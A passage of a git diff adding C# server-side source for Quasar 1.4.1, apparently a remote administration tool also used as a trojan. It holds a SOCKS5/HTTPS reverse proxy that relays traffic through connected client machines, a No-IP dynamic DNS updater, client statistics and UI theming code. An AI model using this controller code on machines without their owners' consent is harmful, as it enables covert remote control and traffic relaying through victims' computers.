+ { + int domainLen = payload[4]; + if (MinPacketLen + domainLen < payload.Length) + { + this.TargetServer = Encoding.ASCII.GetString(payload, 5, domainLen); + } + } + + if (this.TargetServer.Length > 0) + { + //Send Command to client and wait for response from CommandHandler + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); + } + } + else + { + SendFailToClient(); + return; + } + + Server.CallonUpdateConnection(this); + + //Quit receiving data and wait for Client's response + return; + } + break; + } + } + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + } + } + + public void Disconnect() + { + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId}); + } + + try + { + Handle.Close(); + } + catch + { + } + + IsConnected = false; + Server.CallonUpdateConnection(this); + } + + /// + /// Server -> ProxyClient + /// + /// + public void SendToClient(byte[] payload) + { + lock (Handle) + { + try + { + LengthSent += payload.Length; + Handle.Send(payload); + } + catch + { + Disconnect(); + } + } + Server.CallonUpdateConnection(this); + } + + private void SendFailToClient() + { + if (Type == ProxyType.HTTPS) + Disconnect(); + + if (Type == ProxyType.SOCKS5) + { + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS}); + Disconnect(); + } + } + + private void SendSuccessToClient() + { + if (Type == ProxyType.SOCKS5) + SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_CMD_REPLY_SUCCEEDED}); + } + + private bool CheckProxyVersion(byte[] payload) + { + if (Type == ProxyType.HTTPS) + return true; //unable to check header... there is no header + + if (payload.Length > 0 && payload[0] != SOCKS5_VERSION_NUMBER) + { + SendFailToClient(); + Disconnect(); + return false; + } + return true; + } + + public void HandleCommandResponse(ReverseProxyConnectResponse response) + { + //a small prevention for calling this method twice, not required... just incase + if (!_receivedConnResponse) + { + _receivedConnResponse = true; + + if (response.IsConnected) + { + this.HostName = response.HostName; + + //tell the Proxy Client that we've established a connection + if (Type == ProxyType.HTTPS) + { + SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n")); + } + else if (Type == ProxyType.SOCKS5) + { + //Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths + try + { + List responsePacket = new List(); + responsePacket.Add(SOCKS5_VERSION_NUMBER); + responsePacket.Add(SOCKS5_CMD_REPLY_SUCCEEDED); + responsePacket.Add(SOCKS5_RESERVED); + responsePacket.Add(1); + responsePacket.AddRange(response.LocalAddress); + responsePacket.Add((byte)(Math.Floor((decimal)response.LocalPort / 256))); + responsePacket.Add((byte)(response.LocalPort % 256)); + + SendToClient(responsePacket.ToArray()); + } + catch + { + //just incase the math failed + //it will still show it's succesful + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_SUCCEEDED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //bind ip + 0, 0 //bind port + }); + } + } + + _handshakeStream.Close(); + + ProxySuccessful = true; + + try + { + //start receiving data from the proxy + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null); + } + catch + { + Disconnect(); + } + } + else + { + if (Type == ProxyType.HTTPS) + { + Disconnect(); + } + else if (Type == ProxyType.SOCKS5) + { + //send a connection fail packet + SendToClient(new byte[] + { + SOCKS5_VERSION_NUMBER, + SOCKS5_CMD_REPLY_CONNECTION_REFUSED, + SOCKS5_RESERVED, + 1, //static: it's always 1 + 0, 0, 0, 0, //Bind Address + 0, 0 //Bind Port + }); + } + } + + Server.CallonUpdateConnection(this); + } + } + + private void AsyncReceiveProxy(IAsyncResult ar) + { + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + LengthReceived += received; + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload}); + + LengthSent += payload.Length; + PacketsSended++; + } + catch + { + Disconnect(); + return; + } + + PacketsReceived++; + + Server.CallonUpdateConnection(this); + + try + { + Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs new file mode 100755 index 0000000..b784e75 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using Quasar.Server.Networking; + +namespace Quasar.Server.ReverseProxy +{ + public class ReverseProxyServer + { + public delegate void ConnectionEstablishedCallback(ReverseProxyClient proxyClient); + + public delegate void UpdateConnectionCallback(ReverseProxyClient proxyClient); + + public event ConnectionEstablishedCallback OnConnectionEstablished; + public event UpdateConnectionCallback OnUpdateConnection; + + private Socket _socket; + private readonly List _clients; + + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_clients) + { + return _clients.ToArray(); + } + } + } + + public ReverseProxyClient[] OpenConnections + { + get + { + lock (_clients) + { + List temp = new List(); + + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ProxySuccessful) + { + temp.Add(_clients[i]); + } + } + return temp.ToArray(); + } + } + } + + + public Client[] Clients { get; private set; } + + //We can also use the Random class but not sure if that will evenly spread the connections + //The Random class might even fail to make use of all the clients + private uint _clientIndex; + + public ReverseProxyServer() + { + _clients = new List(); + } + + public void StartServer(Client[] clients, string ipAddress, ushort port) + { + Stop(); + + this.Clients = clients; + this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); + this._socket.Listen(100); + this._socket.BeginAccept(AsyncAccept, null); + } + + private void AsyncAccept(IAsyncResult ar) + { + try + { + lock (_clients) + { + _clients.Add(new ReverseProxyClient(Clients[_clientIndex % Clients.Length], this._socket.EndAccept(ar), this)); + _clientIndex++; + } + } + catch + { + } + + try + { + this._socket.BeginAccept(AsyncAccept, null); + } + catch + { + /* Server stopped listening */ + } + } + + public void Stop() + { + if (_socket != null) + { + _socket.Close(); + _socket = null; + } + + lock (_clients) + { + foreach (ReverseProxyClient client in new List(_clients)) + client.Disconnect(); + _clients.Clear(); + } + } + + public ReverseProxyClient GetClientByConnectionId(int connectionId) + { + lock (_clients) + { + return _clients.FirstOrDefault(t => t.ConnectionId == connectionId); + } + } + + internal void CallonConnectionEstablished(ReverseProxyClient proxyClient) + { + try + { + if (OnConnectionEstablished != null) + OnConnectionEstablished(proxyClient); + } + catch + { + } + } + + internal void CallonUpdateConnection(ReverseProxyClient proxyClient) + { + //remove a client that has been disconnected + try + { + if (!proxyClient.IsConnected) + { + lock (_clients) + { + for (int i = 0; i < _clients.Count; i++) + { + if (_clients[i].ConnectionId == proxyClient.ConnectionId) + { + _clients.RemoveAt(i); + break; + } + } + } + } + } + catch + { + } + + try + { + if (OnUpdateConnection != null) + OnUpdateConnection(proxyClient); + } + catch + { + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs new file mode 100755 index 0000000..920b5a8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Quasar.Server.Models; +using Quasar.Server.Networking; + +namespace Quasar.Server.Statistics +{ + public static class ClientStatisticsService + { + private const int DefaultHistoryDays = 14; + private const int MaxPieSegments = 7; + private const int MaxTagRows = 10; + + public static ClientStatisticsSnapshot CreateSnapshot(IEnumerable clients, IEnumerable mockClients = null) + { + try + { + var list = clients?.ToList() ?? new List(); + var mockList = mockClients?.ToList() ?? new List(); + + var nowUtc = DateTime.UtcNow; + var total = list.Count + mockList.Count; + var online = total; // All clients in the list are online + + var countryStats = BuildCategoryListWithMocks(list, mockList, + c => Normalize(c.Value?.Country), + m => Normalize(m.Value?.Country), + total, MaxPieSegments); + + var osStats = BuildCategoryListWithMocks(list, mockList, + c => Normalize(c.Value?.OperatingSystem), + m => Normalize(m.Value?.OperatingSystem), + total, MaxPieSegments); + + var tagStats = BuildCategoryListWithMocks(list, mockList, + c => string.IsNullOrWhiteSpace(c.Value?.Tag) ? "(none)" : c.Value.Tag, + m => string.IsNullOrWhiteSpace(m.Value?.Tag) ? "(none)" : m.Value.Tag, + total, MaxTagRows); + + return new ClientStatisticsSnapshot( + total, + online, + 0, + countryStats, + osStats, + tagStats, + nowUtc); + } + catch (Exception ex) + { + return ClientStatisticsSnapshot.CreateError(ex.Message); + } + } + + private static IReadOnlyList BuildCategoryListWithMocks( + IEnumerable clients, + IEnumerable mockClients, + Func clientSelector, + Func mockSelector, + int total, + int maxItems) + { + // Combine both real and mock clients into a single grouped list + var clientGroups = clients + .GroupBy(clientSelector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }); + + var mockGroups = mockClients + .GroupBy(mockSelector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }); + + var grouped = clientGroups + .Concat(mockGroups) + .GroupBy(g => g.Label) + .Select(g => new { Label = g.Key, Count = g.Sum(x => x.Count) }) + .OrderByDescending(g => g.Count) + .ThenBy(g => g.Label) + .ToList(); + + if (grouped.Count == 0) + { + return new CategoryCount[0]; + } + + if (maxItems <= 0 || grouped.Count <= maxItems) + { + return grouped + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + } + + var top = grouped.Take(maxItems - 1).ToList(); + var otherCount = grouped.Skip(maxItems - 1).Sum(g => g.Count); + + var result = top + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + + if (otherCount > 0) + { + result.Add(new CategoryCount("Other", otherCount, total > 0 ? (double)otherCount / total : 0)); + } + + return result; + } + + private static IReadOnlyList BuildCategoryList(IEnumerable source, Func selector, int total, int maxItems) + { + var grouped = source + .GroupBy(selector) + .Select(g => new { Label = string.IsNullOrWhiteSpace(g.Key) ? "Unknown" : g.Key.Trim(), Count = g.Count() }) + .OrderByDescending(g => g.Count) + .ThenBy(g => g.Label) + .ToList(); + + if (grouped.Count == 0) + { + return new CategoryCount[0]; + } + + if (maxItems <= 0 || grouped.Count <= maxItems) + { + return grouped + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + } + + var top = grouped.Take(maxItems - 1).ToList(); + var otherCount = grouped.Skip(maxItems - 1).Sum(g => g.Count); + + var result = top + .Select(g => new CategoryCount(g.Label, g.Count, total > 0 ? (double)g.Count / total : 0)) + .ToList(); + + if (otherCount > 0) + { + result.Add(new CategoryCount("Other", otherCount, total > 0 ? (double)otherCount / total : 0)); + } + + return result; + } + + private static string Normalize(string value) + { + if (string.IsNullOrWhiteSpace(value)) + { + return "Unknown"; + } + + return value.Trim(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs new file mode 100755 index 0000000..51d15cc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Statistics +{ + public sealed class ClientStatisticsSnapshot + { + public ClientStatisticsSnapshot( + int totalClients, + int onlineClients, + int offlineClients, + IReadOnlyList clientsByCountry, + IReadOnlyList clientsByOperatingSystem, + IReadOnlyList topTags, + DateTime generatedAtUtc, + string errorMessage = null) + { + TotalClients = totalClients; + OnlineClients = onlineClients; + OfflineClients = offlineClients; + ClientsByCountry = clientsByCountry ?? new CategoryCount[0]; + ClientsByOperatingSystem = clientsByOperatingSystem ?? new CategoryCount[0]; + TopTags = topTags ?? new CategoryCount[0]; + GeneratedAtUtc = generatedAtUtc; + ErrorMessage = string.IsNullOrWhiteSpace(errorMessage) ? null : errorMessage; + } + + public int TotalClients { get; } + + public int OnlineClients { get; } + + public int OfflineClients { get; } + + public IReadOnlyList ClientsByCountry { get; } + + public IReadOnlyList ClientsByOperatingSystem { get; } + + public IReadOnlyList TopTags { get; } + + public DateTime GeneratedAtUtc { get; } + + public string ErrorMessage { get; } + + public bool HasError => !string.IsNullOrWhiteSpace(ErrorMessage); + + public static ClientStatisticsSnapshot CreateError(string message) + { + return new ClientStatisticsSnapshot( + 0, + 0, + 0, + new CategoryCount[0], + new CategoryCount[0], + new CategoryCount[0], + DateTime.UtcNow, + message); + } + } + + public sealed class CategoryCount + { + public CategoryCount(string label, int count, double share) + { + Label = string.IsNullOrWhiteSpace(label) ? "Unknown" : label; + Count = count; + Share = share; + } + + public string Label { get; } + + public int Count { get; } + + public double Share { get; } + + public override string ToString() + { + return $"{Label} ({Count})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs b/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs new file mode 100755 index 0000000..6d36d21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs @@ -0,0 +1,235 @@ +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public static class DarkModeHelper + { + private static readonly Color DarkBg = Color.FromArgb(45, 45, 48); + private static readonly Color DarkControlBg = Color.FromArgb(37, 37, 38); + private static readonly Color DarkFg = Color.White; + private static readonly Color DarkBorder = Color.FromArgb(63, 63, 70); + + public static void Initialize() + { + // Set ThemeManager's dark mode flag + ThemeManager.DarkModeEnabled = Settings.DarkMode; + } + + public static void ApplyToForm(Form form) + { + if (!Settings.DarkMode) return; + + // Apply immediately + ApplyToControl(form); + + // Reapply after form is shown to override any designer settings + EventHandler shownHandler = null; + shownHandler = (s, e) => + { + ApplyToControl(form); + form.Invalidate(true); + form.Shown -= shownHandler; + }; + form.Shown += shownHandler; + + // Also hook into Load event + EventHandler loadHandler = null; + loadHandler = (s, e) => + { + ApplyToControl(form); + form.Load -= loadHandler; + }; + form.Load += loadHandler; + } + + private static void ApplyToControl(Control control) + { + try + { + if (control is Form) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is TabPage) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is TabControl) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is Panel) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is GroupBox) + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + else if (control is Label) + { + control.ForeColor = DarkFg; + control.BackColor = Color.Transparent; + } + else if (control is Button btn) + { + btn.BackColor = DarkControlBg; + btn.ForeColor = DarkFg; + btn.FlatStyle = FlatStyle.Flat; + btn.FlatAppearance.BorderColor = DarkBorder; + } + else if (control is TextBox txt) + { + txt.BackColor = DarkControlBg; + txt.ForeColor = DarkFg; + txt.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is RichTextBox rtxt) + { + rtxt.BackColor = DarkControlBg; + rtxt.ForeColor = DarkFg; + rtxt.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is ListBox lst) + { + lst.BackColor = DarkControlBg; + lst.ForeColor = DarkFg; + } + else if (control is ListView lv) + { + lv.BackColor = DarkControlBg; + lv.ForeColor = DarkFg; + lv.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is TreeView tv) + { + tv.BackColor = DarkControlBg; + tv.ForeColor = DarkFg; + } + else if (control is CheckBox) + { + control.ForeColor = DarkFg; + } + else if (control is RadioButton) + { + control.ForeColor = DarkFg; + } + else if (control is NumericUpDown num) + { + num.BackColor = DarkControlBg; + num.ForeColor = DarkFg; + } + else if (control is ComboBox cmb) + { + cmb.BackColor = DarkControlBg; + cmb.ForeColor = DarkFg; + } + else if (control is DataGridView dgv) + { + dgv.BackgroundColor = DarkControlBg; + dgv.ForeColor = DarkFg; + dgv.GridColor = DarkBorder; + dgv.DefaultCellStyle.BackColor = DarkControlBg; + dgv.DefaultCellStyle.ForeColor = DarkFg; + dgv.DefaultCellStyle.SelectionBackColor = Color.FromArgb(62, 62, 64); + dgv.DefaultCellStyle.SelectionForeColor = DarkFg; + dgv.ColumnHeadersDefaultCellStyle.BackColor = DarkBg; + dgv.ColumnHeadersDefaultCellStyle.ForeColor = DarkFg; + dgv.RowHeadersDefaultCellStyle.BackColor = DarkBg; + dgv.RowHeadersDefaultCellStyle.ForeColor = DarkFg; + dgv.EnableHeadersVisualStyles = false; + dgv.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is PictureBox) + { + control.BackColor = Color.Transparent; + } + else if (control.GetType().Name == "Line") + { + control.BackColor = DarkBorder; + } + else if (control.GetType().Name == "DotNetBarTabControl") + { + control.BackColor = DarkBg; + control.ForeColor = DarkFg; + } + + // Apply to MenuStrip and ContextMenuStrip + if (control is MenuStrip ms) + { + ms.BackColor = DarkControlBg; + ms.ForeColor = DarkFg; + ms.Renderer = new DarkMenuRenderer(); + } + else if (control is ContextMenuStrip cms) + { + cms.BackColor = DarkControlBg; + cms.ForeColor = DarkFg; + cms.Renderer = new DarkMenuRenderer(); + } + else if (control is StatusStrip ss) + { + ss.BackColor = DarkControlBg; + ss.ForeColor = DarkFg; + ss.Renderer = new DarkMenuRenderer(); + } + + // Recursively apply to child controls + foreach (Control child in control.Controls) + { + ApplyToControl(child); + } + } + catch + { + // Ignore errors + } + } + + private class DarkMenuRenderer : ToolStripProfessionalRenderer + { + public DarkMenuRenderer() : base(new DarkColorTable()) { } + + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + if (e.Item.Selected) + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(62, 62, 64)), e.Item.ContentRectangle); + } + else + { + e.Graphics.FillRectangle(new SolidBrush(DarkControlBg), e.Item.ContentRectangle); + } + } + + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + e.TextColor = DarkFg; + base.OnRenderItemText(e); + } + } + + private class DarkColorTable : ProfessionalColorTable + { + public override Color MenuItemSelected => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientBegin => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientEnd => Color.FromArgb(62, 62, 64); + public override Color MenuItemBorder => DarkBorder; + public override Color MenuBorder => DarkBorder; + public override Color MenuItemPressedGradientBegin => DarkControlBg; + public override Color MenuItemPressedGradientEnd => DarkControlBg; + public override Color ToolStripDropDownBackground => DarkControlBg; + public override Color ImageMarginGradientBegin => DarkControlBg; + public override Color ImageMarginGradientMiddle => DarkControlBg; + public override Color ImageMarginGradientEnd => DarkControlBg; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs b/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs new file mode 100755 index 0000000..895d338 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Utilities +{ + public class FrameUpdatedEventArgs : EventArgs + { + public float CurrentFramesPerSecond { get; private set; } + + public FrameUpdatedEventArgs(float _CurrentFramesPerSecond) + { + CurrentFramesPerSecond = _CurrentFramesPerSecond; + } + } + + public delegate void FrameUpdatedEventHandler(FrameUpdatedEventArgs e); + + public class FrameCounter + { + public long TotalFrames { get; private set; } + public float TotalSeconds { get; private set; } + public float AverageFramesPerSecond { get; private set; } + + public const int MAXIMUM_SAMPLES = 100; + + private Queue _sampleBuffer = new Queue(); + + public event FrameUpdatedEventHandler FrameUpdated; + + public void Update(float deltaTime) + { + float currentFramesPerSecond = 1.0f / deltaTime; + + _sampleBuffer.Enqueue(currentFramesPerSecond); + + if (_sampleBuffer.Count > MAXIMUM_SAMPLES) + { + _sampleBuffer.Dequeue(); + AverageFramesPerSecond = _sampleBuffer.Average(i => i); + } + else + { + AverageFramesPerSecond = currentFramesPerSecond; + } + + OnFrameUpdated(new FrameUpdatedEventArgs(AverageFramesPerSecond)); + + TotalFrames++; + TotalSeconds += deltaTime; + } + + protected virtual void OnFrameUpdated(FrameUpdatedEventArgs e) + { + FrameUpdatedEventHandler handler = FrameUpdated; + if (handler != null) + handler(e); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs b/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs new file mode 100755 index 0000000..908ebe2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -0,0 +1,141 @@ +using Quasar.Server.Models; +using System.Collections; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public class ListViewColumnSorter : IComparer + { + /// + /// Specifies the column to be sorted + /// + private int _columnToSort; + + /// + /// Specifies the order in which to sort (i.e. 'Ascending'). + /// + private SortOrder _orderOfSort; + + /// + /// Case insensitive comparer object + /// + private readonly CaseInsensitiveComparer _objectCompare; + + /// + /// Specifies if number or text comparision is needed + /// + private bool _needNumberCompare; + + /// + /// Class constructor. Initializes various elements + /// + public ListViewColumnSorter() + { + // Initialize the column to '0' + _columnToSort = 0; + + // Initialize the sort order to 'none' + _orderOfSort = SortOrder.None; + + // Initialize the CaseInsensitiveComparer object + _objectCompare = new CaseInsensitiveComparer(); + + _needNumberCompare = false; + } + + /// + /// This method is inherited from the IComparer interface. It compares the two objects passed using a case insensitive comparison. + /// + /// First object to be compared + /// Second object to be compared + /// The result of the comparison. "0" if equal, negative if 'x' is less than 'y' and positive if 'x' is greater than 'y' + public int Compare(object x, object y) + { + // Cast the objects to be compared to ListViewItem objects + var listviewX = (ListViewItem) x; + var listviewY = (ListViewItem) y; + + if (listviewX.SubItems[0].Text == ".." || listviewY.SubItems[0].Text == "..") + return 0; + + // Compare the two items + int compareResult; + + if (_needNumberCompare) + { + long a, b; + + if (listviewX.Tag is FileManagerListTag) + { + // fileSize to be compared + a = (listviewX.Tag as FileManagerListTag).FileSize; + b = (listviewY.Tag as FileManagerListTag).FileSize; + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + + } + else + { + if (long.TryParse(listviewX.SubItems[_columnToSort].Text, out a) + && long.TryParse(listviewY.SubItems[_columnToSort].Text, out b)) + { + compareResult = a >= b ? (a == b ? 0 : 1) : -1; + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + } + } + else + { + compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, + listviewY.SubItems[_columnToSort].Text); + } + + // Calculate correct return value based on object comparison + if (_orderOfSort == SortOrder.Ascending) + { + // Ascending sort is selected, return normal result of compare operation + return compareResult; + } + else if (_orderOfSort == SortOrder.Descending) + { + // Descending sort is selected, return negative result of compare operation + return (-compareResult); + } + else + { + // Return '0' to indicate they are equal + return 0; + } + } + + /// + /// Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0'). + /// + public int SortColumn + { + set { _columnToSort = value; } + get { return _columnToSort; } + } + + /// + /// Gets or sets the order of sorting to apply (for example, 'Ascending' or 'Descending'). + /// + public SortOrder Order + { + set { _orderOfSort = value; } + get { return _orderOfSort; } + } + + /// + /// Specifies if number or text comparision is needed. + /// + public bool NeedNumberCompare + { + set { _needNumberCompare = value; } + get { return _needNumberCompare; } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs b/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs new file mode 100755 index 0000000..b0e8e7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs @@ -0,0 +1,47 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Utilities +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LVITEM + { + public uint mask; + public int iItem; + public int iSubItem; + public int state; + public int stateMask; + [MarshalAs(UnmanagedType.LPTStr)] + public string pszText; + public int cchTextMax; + public int iImage; + public IntPtr lParam; + public int iIndent; + public int iGroupId; + public uint cColumns; + public IntPtr puColumns; + public IntPtr piColFmt; + public int iGroup; + }; + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SendMessage")] + internal static extern IntPtr SendMessageListViewItem(IntPtr hWnd, uint msg, IntPtr wParam, ref LVITEM lParam); + + [DllImport("user32.dll")] + internal static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk); + + [DllImport("user32.dll")] + internal static extern bool UnregisterHotKey(IntPtr hWnd, int id); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + internal static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs b/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs new file mode 100755 index 0000000..a388eb9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs @@ -0,0 +1,47 @@ +using Quasar.Server.Models; +using System; +using System.Net; +using System.Text; +using System.Threading; + +namespace Quasar.Server.Utilities +{ + public static class NoIpUpdater + { + private static bool _running; + + public static void Start() + { + if (_running) return; + Thread updateThread = new Thread(BackgroundUpdater) {IsBackground = true}; + updateThread.Start(); + } + + private static void BackgroundUpdater() + { + _running = true; + while (Settings.EnableNoIPUpdater) + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("https://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); + request.Proxy = null; + request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername); + request.Timeout = 10000; + request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword))))); + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + + Thread.Sleep(TimeSpan.FromMinutes(10)); + } + _running = false; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs b/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs new file mode 100755 index 0000000..68a2abc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs @@ -0,0 +1,468 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Utilities +{ + public static class ThemeManager + { + // Dark theme colors + private static readonly Color DarkBackground = Color.FromArgb(45, 45, 48); + private static readonly Color DarkForeground = Color.White; + private static readonly Color DarkControlBackground = Color.FromArgb(37, 37, 38); + private static readonly Color DarkBorder = Color.FromArgb(63, 63, 70); + private static readonly Color DarkMenuBackground = Color.FromArgb(37, 37, 38); + private static readonly Color DarkMenuForeground = Color.White; + + public static bool DarkModeEnabled { get; set; } + + // Windows 10/11 dark mode for title bar + [DllImport("dwmapi.dll")] + private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, ref int attrValue, int attrSize); + + private const int DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19; + private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20; + + public static void ApplyTheme(Form form) + { + if (!DarkModeEnabled) return; + + form.BackColor = DarkBackground; + form.ForeColor = DarkForeground; + + // Apply dark mode to title bar (Windows 10 build 17763+) + ApplyDarkTitleBar(form); + + ApplyThemeToControls(form.Controls); + + // Apply to child forms if any + foreach (Form childForm in form.OwnedForms) + { + ApplyTheme(childForm); + } + } + + private static void ApplyDarkTitleBar(Form form) + { + if (form.Handle == IntPtr.Zero) return; + + try + { + int useImmersiveDarkMode = 1; + + // Try Windows 11 / Windows 10 20H1+ attribute first + if (DwmSetWindowAttribute(form.Handle, DWMWA_USE_IMMERSIVE_DARK_MODE, ref useImmersiveDarkMode, sizeof(int)) != 0) + { + // Fall back to older Windows 10 attribute + DwmSetWindowAttribute(form.Handle, DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1, ref useImmersiveDarkMode, sizeof(int)); + } + } + catch + { + // Ignore errors on older Windows versions + } + } + + public static void ApplyThemeToNewForm(Form form) + { + if (!DarkModeEnabled) return; + ApplyTheme(form); + } + + private static void ApplyThemeToControls(Control.ControlCollection controls) + { + foreach (Control control in controls) + { + // Apply theme based on control type + switch (control) + { + case MenuStrip menuStrip: + ApplyMenuStripTheme(menuStrip); + break; + case StatusStrip statusStrip: + ApplyStatusStripTheme(statusStrip); + break; + case ContextMenuStrip contextMenu: + ApplyContextMenuTheme(contextMenu); + break; + case ListView listView: + // Check if it's an AeroListView and enable dark mode + if (listView.GetType().Name == "AeroListView") + { + var enableMethod = listView.GetType().GetMethod("EnableDarkMode"); + if (enableMethod != null) + 